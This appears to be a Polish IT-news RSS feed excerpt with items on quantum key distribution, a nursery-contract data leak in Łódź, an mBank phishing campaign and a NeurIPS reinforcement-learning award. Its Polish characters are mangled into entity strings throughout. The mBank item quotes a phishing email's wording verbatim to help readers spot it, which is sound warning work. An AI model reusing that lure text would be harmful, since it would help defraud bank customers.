Dodaand#322;, and#380;e wdroand#380;enie technologii kwantowej dystrybucji kluczy szyfrujand#261;cych w Krakowie pomiand#281;dzy Cyfronetem i Urzand#281;dem Miasta Krakowa jest elementem znacznie wiand#281;kszej inicjatywy w Europie. Jej celem nie jest budowa pojedynczych bezpiecznych poand#322;and#261;czeand#324;, lecz rozlegand#322;ej sieci obejmujand#261;cej obszar Unii Europejskiej. W Polsce poand#322;and#261;czenia takie budowane sand#261; w ramach projektu PIONIER-Q i obejmujand#261; poand#322;and#261;czenia pomiand#281;dzy centrami komputerand#243;w duand#380;ej mocy oraz wybranymi oand#347;rodkami miejskich sieci komputerowych.
W latach 2026-2028 w ramach czand#281;and#347;ci europejskiej inicjatywy European Quantum Communication Infrastructure (EuroQCI), Cyfronet wraz z partnerami band#281;dzie budowaand#322; poand#322;and#261;czenia do krajand#243;w poand#322;oand#380;onych blisko Polski. Tworzona sieand#263; ma chroniand#263; wraand#380;liwe dane i infrastrukturand#281; krytycznand#261; poprzez integracjand#281; systemand#243;w bazujand#261;cych na zasadach mechaniki kwantowej z istniejand#261;cand#261; infrastrukturand#261; komunikacyjnand#261;, zapewniajand#261;c dodatkowand#261; warstwand#281; bezpieczeand#324;stwa. (PAP)
and#160;
and#377;rand#243;dand#322;o: naukawpolsce.pl ]]></description>
		</item><item>
			<title><![CDATA[ Dane dzieci i rodziców z kilku żłobków były dostępne publicznie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1602</link>
			<description><![CDATA[ Pliki umand#243;w zawartych pomiand#281;dzy rodzicami a and#380;and#322;obkami w and#321;odzi byand#322;y dostand#281;pne publicznie i moand#380;liwe do pobrania przez kaand#380;dego. Powand#243;d? Band#322;and#261;d w aplikacji, ktand#243;ra miaand#322;a uand#322;atwiaand#263; organizowanie pracy w and#380;and#322;obkach.
Co siand#281; wydarzyand#322;o?
Jak poinformowaand#322;a nas pewna zaniepokojona osoba, na jednej stronie powiand#261;zanej z Politechnikand#261; and#321;and#243;dzkand#261; dostand#281;pny byand#322; taki oto indeks plikand#243;w:

Indeks obejmowaand#322; ponad 4900 plikand#243;w PDF zatytuand#322;owanych jako and#8220;umowaand#8221; (wiand#281;kszoand#347;and#263; plikand#243;w) lub and#8220;aneksand#8221; (niektand#243;re). Znajdowaand#322;o siand#281;and#160;tam takand#380;e kilkadziesiand#261;t plikand#243;w ZIP, ale tych nie daand#322;o siand#281; pobraand#263;. Kaand#380;dy z plikand#243;w PDF byand#322; kopiand#261; umowy zawartej pomiand#281;dzy rodzicami a kierownikiem jednego z miejskich and#380;and#322;obkand#243;w w and#321;odzi. W umowach znajdowaand#322;y siand#281; nastand#281;pujand#261;ceand#160;dane rodzicand#243;w lub opiekunand#243;w dzieckaand#160;w tym:

nazwiska,
numery PESEL,
adresy zamieszkania,
numery telefonand#243;w.

Niektand#243;re pliki zawieraand#322;y puste pola, ale nie analizowaliand#347;my peand#322;nego zestawu tych danych i nie wiemy jaki odsetek mogand#322;y stanowiand#263; pliki bez danych lub z czand#261;stkowymi danymi. Pliki z umowami byand#322;y dodawane w latach 2024-2025.


and#160;
Numery PESEL dzieci teand#380; wyciekand#322;y
Wyciekand#322;y rand#243;wnieand#380;and#160;numery PESEL dzieciand#160;poniewaand#380; byand#322;y one zawarte w nazwach plikand#243;w. Aplikacja miaand#322;a teand#380; inne niezabezpieczone endpointy, ktand#243;re dawaand#322;y dostand#281;p do innych danych np. na temat wyand#380;ywienia. Trafiaand#322;y siand#281; w nichand#160;imiona i nazwiska dzieciand#160;oraz and#8211; w niektand#243;rych przypadkach and#8211; adresy zamieszkania dzieci.
Na podstawie wszystkiego co wyciekand#322;o daand#322;oby siand#281; wywnioskowaand#263; rand#243;and#380;ne dodatkowe informacje np. czy rodzice mieszkajand#261; razem albo u ktand#243;rego z rodzicand#243;w mieszka dziecko, albo czy dieta wskazuje na jakand#261;and#347; choroband#281;. Nie dokonywaliand#347;my takich analiz, ale potencjaand#322; tego co ujrzeliand#347;my byand#322; dla nas doand#347;and#263; oczywisty.
Co robiand#322;y dane rodzicand#243;w na serwerze Politechni and#321;and#243;dzkiej?
Za miejskie and#380;and#322;obki w and#321;odzi odpowiada Miejski Zespand#243;and#322; and#379;and#322;obkand#243;w (MZand#379;). Sieand#263; and#380;and#322;obkand#243;w oraz ich usand#322;ugi sand#261; stale rozbudowywane (i bardzo dobrze), ale elementem modernizacji byand#322;o wprowadzenieand#160;aplikacji do zarzand#261;dzania and#380;and#322;obkami, ktand#243;ra miaand#322;a byand#263; opracowanaand#160;wspand#243;lnie z Politechnikand#261; and#321;and#243;dzkand#261;. Informacje o tej aplikacjiand#160;pojawiaand#322;y siand#281; w lokalnych mediach.and#160;Od pewnego and#378;rand#243;dand#322;a zbliand#380;onego do sprawy dowiedzieliand#347;my siand#281;, and#380;e aplikacja jest rozwijanaand#8230; and#8220;w nieco ryzykowny sposand#243;band#8221;, a jej bezpieczeand#324;stwo opiera siand#281; m.in. na tym, and#380;e niewiele osand#243;b wie, gdzie danych z tej aplikacji szukaand#263;. Rzecz jednak w tym, and#380;e o tej aplikacji wiedziaand#322;a niejedna osoba.
Telefon do IOD? Numer nie istnieje!
31 grudnia zwrand#243;ciliand#347;my siand#281; do MZand#379; ze zgand#322;oszeniem wycieku i prand#243;bowaliand#347;my doprowadziand#263; do zabezpieczenia plikand#243;w. To byand#322;o najwaand#380;niejsze. Na stronie MZand#379; dostand#281;pna jest informacja o ochronie danych osobowych z danymi kontaktowymi do Inspektora Ochrony Danych Osobowych. Zadzwoniliand#347;my i usand#322;yszeliand#347;my w sand#322;uchawce, and#380;e and#8220;numer (and#8230;) nie istniejeand#8220;. Zadzwoniliand#347;my wiand#281;c na numer sekretariatu podany na stronie instytucji. Miand#322;a osoba podaand#322;a nam numer do Inspektora Ochrony Danych i znand#243;w zadzwoniliand#347;my, ale dowiedzieliand#347;my siand#281; tylko tyle, and#380;e and#8220;Pani kierownik wyszand#322;aand#8220;.
Czekajand#261;c na przyjand#347;cie pani kierownik postanowiliand#347;my skontaktowaand#263; siand#281; z Politechnikand#261; and#321;and#243;dzkand#261;. Zadzwoniliand#347;my do rzeczniczki prasowej i powiedzieliand#347;my jej, and#380;e na domenie uczelni sand#261; dane rodzicand#243;w. Rzeczniczka prasowa uczelni Ewa Chojnacka powiedziaand#322;a, and#380;eand#8230; aktualnie uczelnia nie pracuje. Poprosiand#322;a o e-maila obiecujand#261;c, and#380;e zajmie siand#281; sprawand#261; gdy tylko wrand#243;ci do pracyand#8230; 7 stycznia.

Prand#243;bowaliand#347;my jeszcze zadzwoniand#263; do dziaand#322;u promocji uczelni, a takand#380;e do jednej z osand#243;b powiand#261;zanych z laboratorium Pand#321;, do ktand#243;rego naleand#380;aand#322;a domena. Nigdzie nie udaand#322;o siand#281; dodzwoniand#263;, wiand#281;c wysand#322;aliand#347;my e-maile do osand#243;b zwiand#261;zanych z tym laboratorium liczand#261;c na to, and#380;e ktokolwiek je odczyta.
Ponowiliand#347;my teand#380; prand#243;band#281; kontaktu z MZand#379; i tym razem udaand#322;o nam siand#281; porozmawiaand#263; z Inspektorkand#261; Ochrony Danych. Zaraz po tej rozmowie indeks plikand#243;w staand#322; siand#281; niedostand#281;pny i nie potrafimy oceniand#263;, czy byand#322; to efekt rozmowy z IOD czy moand#380;e ktoand#347; z Pand#321; odebraand#322; wczeand#347;niej wysand#322;anego maila.and#160;W kaand#380;dym razie, choand#263; indeks plikand#243;w zniknand#261;and#322; z sieci, to pliki poszczegand#243;lnych umand#243;w wciand#261;and#380; byand#322;y dostand#281;pne i moand#380;liwe do pobrania. Nadal teand#380; widzieliand#347;my udostand#281;pnianie czand#281;and#347;ci danych na innych endpointach.
Od tamtego dnia, stopniowo zmiany i zabezpieczenia byand#322;y wprowadzane. Dziand#347; moand#380;na powiedzieand#263;: jest juand#380; posprzand#261;tane.
MZand#379; powiadomi rodzicand#243;w
Wysyand#322;ajand#261;c pytania do zaangaand#380;owanych w sprawand#281; instytucji chcieliand#347;my wiedzieand#263; przede wszystkim na jakiej zasadzie odbywaand#322;a siand#281; wspand#243;and#322;praca pomiand#281;dzy MZZ i Pand#321; oraz czy byand#322;a ona wand#322;aand#347;ciwie zorganizowana (np. czy zapewniono takie formy umand#243;w, ktand#243;re wymagaand#322;y dbaand#322;oand#347;ci o bezpieczeand#324;stwo). Pytaliand#347;my rand#243;wnieand#380; o to czy wyciek zostaand#322; zgand#322;oszony, czy rodzice band#281;dand#261; o nim powiadomieni oraz czy przeprowadzono analizy dotyczand#261;ce ewentualnego masowego pobierania danych.and#160;8 stycznia otrzymaliand#347;my odpowiedand#378; od Miejskiego Zespoand#322;u and#379;and#322;obkand#243;w, niestety w formie skanu (takiego and#322;adnego, z pieczand#261;tkami).

Niestety, odpowiedand#378; nie adresuje wszystkich naszych pytaand#324;, np. czy aplikacja byand#322;a wczeand#347;niej testowana pod kand#261;tem bezpieczeand#324;stwa, albo czy osoby jand#261; rozwijajand#261;ce zostaand#322;y upowaand#380;nione do przetwarzania danych. Jednak majand#261;c na uwadze, iand#380; problem zostanie zgand#322;oszony do UODO, wierzymy and#380;e band#281;dzie to przedmiotem analizy prand#281;dzej czy pand#243;and#378;niej. Byand#263; moand#380;e jakichand#347; odpowiedzi w tym zakresie udzieli nam jeszcze Politechnika and#321;and#243;dzka, ktand#243;ra rand#243;wnieand#380; otrzymaand#322;a od nas pytania. W razie otrzymania kolejnych wyjaand#347;nieand#324; band#281;dziemy aktualizowaand#263; ten tekst.
Mam dziecko w and#322;and#243;dzkim and#380;and#322;obku and#8212; co robiand#263;, jak and#380;yand#263;?
O tym, czy akurat Ty (jako rodzic) i Twoje dziecko znajdujand#261;and#160;siand#281; w tym wycieku and#8212; jeand#347;li dobrze rozumiemy deklaracje MZand#379; and#8212; powinieneand#347; niebawem dowiedzieand#263; siand#281;and#160;od MZand#379;. Nie mamy informacji na temat tego, ile osand#243;b pobraand#322;o te dane, ale na wszelki wypadek rekomendujemy:


Uwaand#380;aj na wszelkie wiadomoand#347;ci dotyczand#261;ce dzieci oraz usand#322;ug and#380;and#322;obka (zwand#322;aszcza te dotyczand#261;ce rzekomych opand#322;at, dopand#322;at, itp.). Dokand#322;adniej sprawdzaj ich pochodzenie. Oszuand#347;ci mogand#261; np. podszyand#263; siand#281;and#160;pod and#380;and#322;obek i wyand#322;udziand#263; w ten sposand#243;b pieniand#261;dze.


Zastrzeand#380; PESELe. To zawsze warto zrobiand#263;, niezaleand#380;nie od tego wycieku. Ryzyko podszycia siand#281;and#160;pod Ciebie oceniamy na niskie, jeand#347;li nigdzie w kontakcie ze and#380;and#322;obkiem nie przekazywaand#322;eand#347; skanand#243;w swoich dokumentand#243;w.
Takich wyciekand#243;w zapewne band#281;dzie wiand#281;cej. Praktycznie kaand#380;da firma i instytucja przetwarza dokumenty w formie elektronicznej, niestety nie zawsze w sposand#243;b bezpieczny. Dobrand#261; praktykand#261; moand#380;e byand#263; minimalizowanie przekazywanych firmom i instytucjom danych. Ale to co podaand#263;, a czego nie, to juand#380;and#160;decyzja, ktand#243;rand#261; kaand#380;dy z Was musi podjand#261;and#263; samodzielnie. W przypadku and#380;and#322;obkand#243;w i szkand#243;and#322; sprawdzona i szybka forma kontaktu z rodzicami w przypadku jakiegoand#347; incydentu moand#380;e byand#263; kluczowa, wiand#281;c podawanie bzdurnych danych niekoniecznie band#281;dzie najlepszym pomysand#322;em.
Aha, jeand#347;li Waszym hasand#322;em do e-maila albo facebooka jest imie Waszego dziecka albo data jego urodzenia, to dobrym pomysand#322;em band#281;dzie to zmieniand#263;. Aby sprawdziand#263; czy Wasze dane juand#380; wyciekand#322;y (a jeand#347;li tak, to gdzie i co z tym zrobiand#263;) polecamy nasz krand#243;tki webinar oand#160;radzeniu sobie (i przygotowywaniu siand#281; na) wycieki danychand#160;and#8212; z kodemand#160;ZLOBEKand#160;do koand#324;ca dnia moand#380;ecie go kupiand#263; o poand#322;owand#281; taniej and#8212; spokojnie, na jego obejrzenie macie 30 dni, wiand#281;c na pewno zdand#261;and#380;ycie.and#160;Tu link wprost do koszyka.
A jeand#347;li chcielibyand#347;cie siand#281;, jako rodzice, przygotowaand#263; na toand#160;jak poprawnie chroniand#263; trochand#281; starsze dzieci przed zand#322;em w internecieand#160;(np. skutecznie blokowaand#263; dostand#281;p do niepoand#380;and#261;danych treand#347;ci i aplikacji oraz ograniczaand#263; czas spand#281;dzany przed ekranami), to rzuand#263;cie okiem na nasz webinar and#8220;Cyberbezpieczeand#324;stwo dla Rodzicand#243;wand#8220;. Tutajand#160;link wprost do koszyka.
Aktualizacja 9.01.2026 15:58
Jeden z rodzicand#243;w, ktand#243;rego dziecko uczand#281;szcza do and#380;and#322;obka w and#321;odzi, powiadomiand#322; naszand#261; redakcjand#281; o otrzymaniu pisma z powiadomieniem o wycieku. Treand#347;and#263; pisma jest nastand#281;pujand#261;ca:

Szanowni Paand#324;stwo,
w zwiand#261;zku z zawartym porozumieniem wspand#243;and#322;pracy miand#281;dzy Miejskim Zespoand#322;em and#380;and#322;obkand#243;w w and#321;odzi ul. Zachodnia 55a, 91-063 and#321;and#243;dand#378; a Instytutem Mechatroniki i Systemand#243;w Informatycznych Politechniki and#321;and#243;dzkiej ul. B. Stefanowskiego 22, 90-537 and#321;and#243;dand#378;, w zakresie wspand#243;lnego dziaand#322;ania na rzecz opracowania aplikacji webowej do zarzand#261;dzania oraz ewidencjonowania pand#322;atnoand#347;ci zwiand#261;zanych z funkcjonowaniem placand#243;wek and#380;and#322;obkowych, z przykroand#347;ciand#261; informujemy, and#380;e doszand#322;o do naruszenia ochrony danych osobowych, polegajand#261;ce na nieuprawnionym dostand#281;pie do Paand#324;stwa danych zawartych w umowach o and#347;wiadczenie usand#322;ug w zakresie opieki nad Paand#324;stwa dzieckiem. Informacjand#281; o tym, and#380;e Paand#324;stwa dane sand#261; publicznie dostand#281;pne otrzymaliand#347;my w dniu 05.01.2026 r od redaktora portalu Niebezpiecznik.pl, ktand#243;ry zajmuje siand#281; m.in. tematykand#261; cyberbezpieczeand#324;stwa and#8211; przede wszystkim edukacjand#261;, analizami zagroand#380;eand#324; oraz praktycznym podnoszeniem and#347;wiadomoand#347;ci bezpieczeand#324;stwa w internecie i IT.
Incydent miaand#322; miejsce w wyniku band#322;and#281;dnej konfiguracji serwera obsand#322;ugujand#261;cego aplikacjand#281; sieciowand#261; dziaand#322;ajand#261;cand#261; w infrastrukturze Politechniki and#321;and#243;dzkiej i dotyczyand#322; nieuprawnionego dostand#281;pu do dokumentand#243;w w formie PDF, zawierajand#261;cych dane osobowe rodzicand#243;w/opiekunand#243;w oraz dzieci korzystajand#261;cych z usand#322;ug Miejskiego Zespoand#322;u and#379;and#322;obkand#243;w w and#321;odzi i byand#322; nastand#281;pstwem band#322;and#281;du konfiguracyjnego powstaand#322;ego w trakcie prac administracyjnych wykonywanych na serwerze.
Zakres ujawnionych danych:

Imiona i nazwiska rodzicand#243;w/opiekunand#243;w oraz dzieci.
Numery PESEL.
Adresy zamieszkania.
Numery rachunkand#243;w bankowych rodzicand#243;w/opiekunand#243;w.
Numery telefonand#243;w rodzicand#243;w/opiekunand#243;w.
Informacje dotyczand#261;ce zawartych umand#243;w na and#347;wiadczenie usand#322;ug opieki w and#380;and#322;obkach.

Niezwand#322;ocznie po stwierdzeniu zdarzenia Miejski Zespand#243;and#322; and#379;and#322;obkand#243;w w and#321;odzi podjand#261;and#322; wszelkie wymagane dziaand#322;ania majand#261;ce na celu zabezpieczenie danych osobowych, w tym:

Ograniczenie dostand#281;pu do danych.
Zabezpieczenie systemand#243;w oraz widniejand#261;cej tam dokumentacji.
Analizand#281; przyczyn naruszenia oraz wdroand#380;enie and#347;rodkand#243;w zapobiegajand#261;cych podobnym zdarzeniom w przyszand#322;oand#347;ci.

Charakter ujawnionych danych moand#380;e potencjalnie stwarzaand#263; ryzyko naruszenia praw i wolnoand#347;ci osand#243;b, ktand#243;rych dane dotyczand#261;, w szczegand#243;lnoand#347;ci ryzyko kradzieand#380;y toand#380;samoand#347;ci lub naduand#380;yand#263; finansowych. Aktualnie nie odnotowaliand#347;my and#380;adnych informacji o negatywnych skutkach zwiand#261;zanych z tym incydentem, a prawdopodobieand#324;stwo ich wystand#261;pienia oceniamy jako and#347;rednie.
Powstaand#322;e zdarzenie zostaand#322;o przeanalizowane zgodnie z obowiand#261;zujand#261;cymi przepisami i zgodnie z art 33 Rozporzand#261;dzenia Parlamentu Europejskiego i Rady (UE) 2016/679 w dniu 07.01.2026 r. zostaand#322;o zgand#322;oszone do Prezesa Urzand#281;du Ochrony Danych Osobowych.
Zalecamy zachowanie ostroand#380;noand#347;ci w szczegand#243;lnoand#347;ci naleand#380;y:

Ignorowaand#263; nieoczekiwane lub podejrzane wiadomoand#347;ci e-mail, w szczegand#243;lnoand#347;ci od nieznanych nadawcand#243;w lub pochodzand#261;cych z adresand#243;w mailowych usiand#322;ujand#261;cych podszywaand#263; siand#281; pod powszechnie znane instytucje (np. banki lub organy paand#324;stwowe) oraz nie otwieraand#263; podejrzanych zaand#322;and#261;cznikand#243;w (np. przesand#322;anych pocztand#261; elektronicznand#261; plikand#243;w w nieznanym lub niepopularnym formacie).
Dokand#322;adnie analizowaand#263; wszelkie komunikaty przekazywane drogand#261; elektronicznand#261;.
Nie korzystaand#263; z linkand#243;w do stron internetowych otrzymanych od nieznanych nadawcand#243;w w wiadomoand#347;ciach mailowych, SMS-ach lub poprzez komunikatory internetowe.
Zachowaand#263; ostroand#380;noand#347;and#263; w sytuacji odbierania poand#322;and#261;czeand#324; telefonicznych od nieznanych numerand#243;w telefonand#243;w oraz podczas korzystania z bankowoand#347;ci elektronicznej lub pand#322;atnoand#347;ci internetowych.
Dokand#322;adnie analizowaand#263; wszelkie otrzymane rachunki lub wezwania do zapand#322;aty pod kand#261;tem moand#380;liwoand#347;ci podszywania siand#281; pod instytucje, z ktand#243;rymi zostaand#322;y wczeand#347;niej zawarte umowy.

Przepraszamy za zaistniaand#322;and#261; sytuacjand#281; i zapewniamy, and#380;e ochrona danych osobowych dzieci i ich rodzicand#243;w/opiekunand#243;w jest dla nas sprawand#261; najwyand#380;szej wagi. Administratorem danych osobowych jest Miejski Zespand#243;and#322; and#379;and#322;obkand#243;w w and#321;odzi ul. Zachodnia 55a, 91-063 and#321;and#243;dand#378;. W sprawach zwiand#261;zanych z przetwarzaniem danych osobowych mogand#261; siand#281; Paand#324;stwo kontaktowaand#263; z Inspektorem Ochrony Danych: Aleksandra Turczyand#324;ska, iod@mzz.lodz.pl, tel. 452 435 622
Z wyrazami szacunku p.o. DYREKTORA mgr Krystian Wolnicki

Aktualizacja 12.01.2026 10:41
Ewa Chojnacka z Politechniki and#321;and#243;dzkiej przekazaand#322;a nam odpowiedzi na nasze pytania. Wynika z nich, and#380;e wszystko byand#322;o testowane i analizy incydentu byand#322;y. Niestety nie wiemy jakie sand#261; wyniki tych analiz. Poniand#380;ej nasze pytania i odpowiedzi Pand#321;.

Nbzp: Czy osoby rozwijajand#261;ce aplikacjand#281; do zarzand#261;dzania and#380;and#322;obkami zostaand#322;y upowaand#380;nione do przetwarzania danych rodzicand#243;w i dzieci oraz czy podpisano z nimi stosowne umowy powierzenia danych.
Tak
Nbzp: Czy aplikacja byand#322;a testowana pod kand#261;tem bezpieczeand#324;stwa i czy na bieand#380;and#261;co usuwano z niej wszystkie zgand#322;oszone band#322;and#281;dy?
Aplikacja zostaand#322;a poddana wewnand#281;trznym testom bezpieczeand#324;stwa oraz zaplanowano audyt zewnand#281;trzny. W wyniku przeprowadzonych analiz wyeliminowano moand#380;liwoand#347;and#263; nieautoryzowanego dostand#281;pu do zasoband#243;w aplikacji, w tym do jej and#378;rand#243;deand#322;. Mechanizm autoryzacji zostaand#322; rozbudowany do modelu dwupoziomowego, obejmujand#261;cego uwierzytelnianie za pomocand#261; loginu i hasand#322;a oraz jednorazowego and#380;etonu autoryzacyjnego wysyand#322;anego na przypisany adres e-mail uand#380;ytkownika. and#379;eton posiada ograniczony czas waand#380;noand#347;ci (10 minut), co istotnie redukuje ryzyko przejand#281;cia sesji. Zgand#322;aszane band#322;and#281;dy byand#322;y na bieand#380;and#261;co analizowane i usuwane w ramach prac utrzymaniowych.
Nbzp: Czy przeanalizowano and#347;rodowisko aplikacji pod kand#261;tem moand#380;liwych wyciekand#243;w danych i czy ewentualne wycieki zostaand#322;y wand#322;aand#347;ciwie obsand#322;uand#380;one zgodnie z RODO?
and#346;rodowisko aplikacji zostaand#322;o przeanalizowane pod kand#261;tem potencjalnych wektorand#243;w wycieku danych. Wraand#380;liwe endpointy systemowe sand#261; dostand#281;pne wyand#322;and#261;cznie dla uand#380;ytkownikand#243;w posiadajand#261;cych poprawnand#261; autoryzacjand#281;, a dostand#281;p do zasoband#243;w aplikacji (w tym and#378;rand#243;deand#322; JavaScript) zostaand#322; odpowiednio ograniczony mechanizmami kontroli dostand#281;pu po stronie serwera. Kaand#380;de uprawnione pobranie danych osobowych jest rejestrowane w bazie danych wraz z informacjand#261; identyfikujand#261;cand#261; uand#380;ytkownika oraz czasem operacji, co umoand#380;liwia audyt dostand#281;pu i speand#322;nienie wymogand#243;w rozliczalnoand#347;ci. Zastosowane rozwiand#261;zania minimalizujand#261; ryzyko nieuprawnionego dostand#281;pu do danych oraz sand#261; zgodne z zasadami RODO, w szczegand#243;lnoand#347;ci w zakresie poufnoand#347;ci, integralnoand#347;ci i ograniczenia dostand#281;pu do danych osobowych. W przypadku wykrycia incydentand#243;w bezpieczeand#324;stwa przewidziane sand#261; procedury ich obsand#322;ugi zgodnie z obowiand#261;zujand#261;cymi przepisami.
Nbzp: Czy incydent zostanie lub zostaand#322; przeanalizowany pod kand#261;tem masowego pobierania danych?
Przeprowadzono analizand#281; zasoband#243;w w celu przesand#322;ania stosownej informacji osobom poszkodowanym.

Aktualizacja 12.01.2026 10:52 
W serwisie Radia and#321;and#243;dand#378; znalazand#322;a siand#281;and#160;publikacjaand#160;na temat incydentu, w ktand#243;rej cytowany jest rektor Politechniki and#321;and#243;dzkiej.

Nieprawdand#261; jest, and#380;e coand#347; wyciekand#322;o. Portal niebezpiecznik.pl znalazand#322; uchybienie w aplikacji, ale z tych informacji, ktand#243;re zostaand#322;y mi przekazane z danych logowania i z przejrzenia pracy systemu, to byand#322;o jedyne logowanie i jedyne pobranie danych, jakie nastand#261;piand#322;o.

Niestety musimy zaprzeczyand#263; informacjom, ktand#243;re przekazano Rektorowi.and#160; Nawet jeand#347;li redaktor Niebezpiecznika widziaand#322; te dane to znaczy, and#380;e doszand#322;o do naruszenia ich poufnoand#347;ci, ale ponadto:

Redakcja Niebezpiecznika sprawdzaand#322;a dostand#281;pnoand#347;and#263; danych z wiand#281;cej niand#380; jednego adresu IP. Nie doszand#322;o do jakiegoand#347; pojedynczego sprawdzenia, tylko do kilku. I nie byand#322;y to and#8220;logowaniaand#8221; tylko ujrzenie danych bez zalogowania.
Redakcja Niebezpiecznika dowiedziaand#322;a siand#281; o sprawie od pewnego and#378;rand#243;dand#322;a i ono rand#243;wnieand#380; byand#322;o and#347;wiadome co siand#281; staand#322;o.

Nie byand#322;o wiand#281;c and#8220;jedynego logowaniaand#8221; jak twierdzi Rektor.
Aktualizacja 13.01.2026 8:11
MZand#379; przekazaand#322; do naszej redakcji obszerniejsze stanowisko zwiand#261;zane z wyciekiem, ktand#243;re jest odpowiedziand#261; na zadane przez nas pytania. Poniand#380;ej cytujemy fragmenty (czand#281;and#347;and#263; odpowiedzi to powtand#243;rzenie tego, co byand#322;o w stanowisku Politechniki).

Wszelkie osoby, pracujand#261;ce nad rozwojem aplikacji, posiadajand#261; upowaand#380;nienia do przetwarzania danych osobowych. Porozumienie o wspand#243;and#322;pracy z Pand#321; zawiera rand#243;wnieand#380; umowand#281; powierzenia przetwarzania danych osobowych (and#8230;) Od 23.12.2025 r. dane byand#322;y dostand#281;pne. Przeprowadzono analizand#281; zasoband#243;w ktand#243;re wyciekand#322;y w celu przesand#322;ania stosownej informacji osobom poszkodowanym. Po przeanalizowaniu logand#243;w do aplikacji, moand#380;emy stwierdziand#263;, and#380;e nie byand#322;o masowych pobraand#324;, a pobranie nastand#261;piand#322;o z jednego adresu IP.

Jak juand#380; pisaliand#347;my wczeand#347;niej, naszym zdaniem nie mogand#322;o dojand#347;and#263; do pobrania z tylko z jednego adresu IP, albo w analizie nie wychwycono wszystkiego. Rozumiemy jednak, and#380;e MZand#379; bazuje na informacjach otrzymanych od podmiotu przetwarzajand#261;cego.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 9 stycznia 2026 ]]></description>
		</item><item>
			<title><![CDATA[ ⚠️ Uwaga klienci mBanku! ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1601</link>
			<description><![CDATA[ Obserwujemy faland#281; e-maili, w ktand#243;rych przestand#281;pcy podszywajand#261;c siand#281; pod mBank, pod pretekstem aktualizacji numeru telefonu wyand#322;udzajand#261; dane dostand#281;powe do rachunku bankowego. Oto jak wygland#261;da e-mail oraz docelowa strona udajand#261;ca stronand#281; logowania do mBanku:


Nadawca: mBaand#1087;k {Rand#211;and#379;NE ADRESY E-MAIL} Temat: Potwierdand#378; swand#243;j numer telefonu and#8211; Sprawa: 6733-310
Szanowny Kliencie, Szanowna Klientko, aby kontynuowaand#263; dostand#281;p do swojego konta, waand#380;ne jest zaktualizowanie gand#322;and#243;wnego numeru telefonu. Prosimy o dokonanie tej aktualizacji w ciand#261;gu 48 godzin, aby uniknand#261;and#263; zawieszenia konta. Moand#380;esz teraz dokonaand#263; aktualizacji, klikajand#261;c w poniand#380;szy link {Rand#211;and#379;NE URL} Dziand#281;kujemy za wspand#243;and#322;pracand#281; i zrozumienie.
Z powaand#380;aniem, Twand#243;j zespand#243;and#322; online mBank.

Wiadomoand#347;ci wysyand#322;ane sand#261; z rand#243;and#380;nych adresand#243;w e-mail. Zwrand#243;and#263;cie uwagand#281; na literand#281; and#8220;and#1087;and#8221; w nazwie banku.and#160;Jeand#347;li ofiara kliknie w link, zostanie przekierowana na wiarygodnie wygland#261;dajand#261;cand#261; stronand#281;, ktand#243;ra poprosi o uzupeand#322;nienie formularza logowania. Podanie tych danych oraz kolejnych informacji o ktand#243;re poproszand#261; oszuand#347;ci moand#380;e spowodowaand#263; kradzieand#380; pieniand#281;dzy.
Po czym poznaand#263;, and#380;e to oszustwo?
Choand#263; strona, na jakand#261; przekierowuje link z wiadomoand#347;ci e-mail wygland#261;da jak prawdziwa strona mBanku, to jej adres nie jest poprawnym adresem mBanku. Pamiand#281;taj, aby zawsze przed wpisaniem hasand#322;a dokand#322;adnie sprawdziand#263;, na jakiej stronie siand#281; logujesz.

Uzupeand#322;niand#322;em formularz, co teraz?
Jeand#347;li wprowadziand#322;eand#347; login i hasand#322;o na faand#322;szywej stronie, natychmiast zadzwoand#324; na mLiniand#281; i poinformuj o tym bank.

Ostrzeand#380; bliskich!
Jak zwykle, zachand#281;camy do ostrzeand#380;enia Waszych najbliand#380;szych, ktand#243;rzy majand#261; konta w mBanku. Wg naszych szacunkand#243;w, przestand#281;pcy rozesand#322;ali sporo wiadomoand#347;ci, a niektand#243;re z faand#322;szywych serwisand#243;w, ktand#243;re wykorzystujand#261; do wykradania danych wciand#261;and#380;and#160;sand#261; aktywne. Moand#380;esz teand#380; zachand#281;ciand#263; najbliand#380;szych do instalacji naszej darmowej aplikacjiand#160;CyberAlertyand#160;(naand#160;Androida lub iPhona) and#8212; dziand#281;ki temu tego typu ostrzeand#380;enia band#281;dand#261; do nich spand#322;ywaand#263; band#322;yskawicznie and#8212; w sprawie tego ataku juand#380;and#160;rozesand#322;aliand#347;my alert do uand#380;ytkownikand#243;w naszej aplikacji.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 18 grudnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Skok w rozwoju AI. Polacy przełamują impas w uczeniu ze wzmocnieniem (RL) ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1600</link>
			<description><![CDATA[ espand#243;and#322; informatykand#243;w z udziaand#322;em dwand#243;ch Polakand#243;w znalazand#322; sposand#243;b na skokowe zwiand#281;kszenie gand#322;and#281;bokoand#347;ci sieci neuronowych - z kilku do aand#380; tysiand#261;ca warstw - w modelach AI uczenia ze wzmocnieniem (RL). Pracand#281; informatykand#243;w - w tym dwand#243;ch Polakand#243;w - nagrodzono na prestiand#380;owej konferencji naukowej NeurIPS o AI.


W badaniach kierowanych przez prof. Benjamina Eysenbacha z Princeton brali udziaand#322; doktorant Michaand#322; Bortkiewicz i prof. Tomasz Trzciand#324;ski z Politechniki Warszawskiej. Ich praca znalazand#322;a siand#281; wand#347;rand#243;d piand#281;ciu nagrodzonych w ramach najbardziej prestiand#380;owej konferencji naukowej dotyczand#261;cej sztucznej inteligencji, Neural Information Processing Systems (NeurIPS). W tym roku na konferencjand#281; nadesand#322;ano ponad 20 tys. prac, a zaakceptowano okoand#322;o 5 tys.
Uczenie ze wzmocnieniem (Reinforcement Learning, RL) to jeden z kilku gand#322;and#243;wnych nurtand#243;w uczenia maszynowego - obok uczenia nadzorowanego, nienadzorowanego i samonadzorowanego. Modele RL m.in. zapewniand#322;y zwyciand#281;stwo maszyny - AlphaGo - nad czand#322;owiekiem w grze Go czy w grach wideo, takich jak Dota. Pomagajand#261; wszand#281;dzie tam, gdzie trzeba przeczesaand#263; niezliczone kombinacje rozwiand#261;zaand#324;: szukaand#263; nowych lekand#243;w, projektowaand#263; syntezand#281; biaand#322;ek czy wspomagaand#263; decyzje ekonomiczne.
